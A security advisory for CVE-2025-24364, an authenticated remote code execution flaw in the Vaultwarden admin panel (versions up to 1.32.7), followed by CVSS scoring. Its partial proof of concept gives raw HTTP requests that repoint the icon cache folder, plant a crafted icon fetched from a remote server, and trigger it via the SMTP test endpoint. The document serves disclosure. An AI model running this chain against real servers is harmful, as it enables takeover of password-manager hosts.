Skip to content

RCE in the admin panel

High
dani-garcia published GHSA-h6cc-rc6q-23j4 Jan 25, 2025

Package

vaultwarden/server (Docker Hub)

Affected versions

<=1.32.7

Patched versions

1.33.0

Description

Summary

Attacker with authenticated access to the vaultwarden admin panel can execute arbitrary code in the system.

PoC

Specify settings as shown below on the image.

2

Then set read-only option Icon cache folder by sending POST /admin/config request manually:

POST /admin/config HTTP/1.1
Host: 127.0.0.1:8001
Content-Type: application/json
Cookie: VW_ADMIN=

{
    ...
    "icon_cache_folder":"/@icon"
}

Execute following command for craft payload:

After that serve image on remote server with name apple-touch-icon.png or favicon.ico.

Download it on vaultwarden host by GET /icons/site.com/icon.png request.

We can see @icon directory and site.com.png file on the vaultwarden host.

20250114_19h01m38s_grim

Finally, make an http request to execute code

POST /admin/test/smtp HTTP/1.1
Host: 127.0.0.1:8001
Cookie: VW_ADMIN=<JWT>

{"email":"[email protected]"}

20250114_19h05m20s_grim

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-24364

Weaknesses

No CWEs

Credits